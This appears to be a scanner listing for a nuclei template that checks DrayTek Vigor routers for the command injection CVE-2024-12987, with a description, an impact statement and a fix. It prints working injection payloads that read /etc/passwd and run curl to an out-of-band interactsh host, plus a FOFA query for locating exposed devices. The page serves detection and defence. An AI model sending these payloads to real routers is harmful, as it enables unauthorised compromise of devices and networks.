DrayTek Vigor - Command Injection

Exploited in the wild. Listed by CISA on 2025-05-15; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.

Impact

Unauthenticated attackers can inject arbitrary system commands through the session parameter in the apmcfgupload endpoint to execute commands on DrayTek routers, enabling complete device compromise and network infiltration.

Fix

Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.

How to confirm it

Send: GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd ; GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}}
Positive when: regex('root:.*:0:0:', body) and contains(header, 'DWS') and status_code == 200 OR contains(interactsh_protocol, 'dns') and contains(header, 'DWS') and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12987 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-12987

info:
  name: DrayTek Vigor - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.
  impact: |
    Unauthenticated attackers can inject arbitrary system commands through the session parameter in the apmcfgupload endpoint to execute commands on DrayTek routers, enabling complete device compromise and network infiltration.
  remediation: |
    Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.
  reference:
    - https://netsecfish.notion.site/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-12987
    cwe-id: CWE-78
    epss-score: 0.98223
    epss-percentile: 0.99915
    cpe: cpe:2.3:h:draytek:vigor300b:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    fofa-query: '"excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS"'
    vendor: DrayTek
    product: Vigor300B
  tags: cve,cve2024,draytek,rce,router,kev,vkev,vuln

http:
  - raw:
      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0
        Host: {{Hostname}}

      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from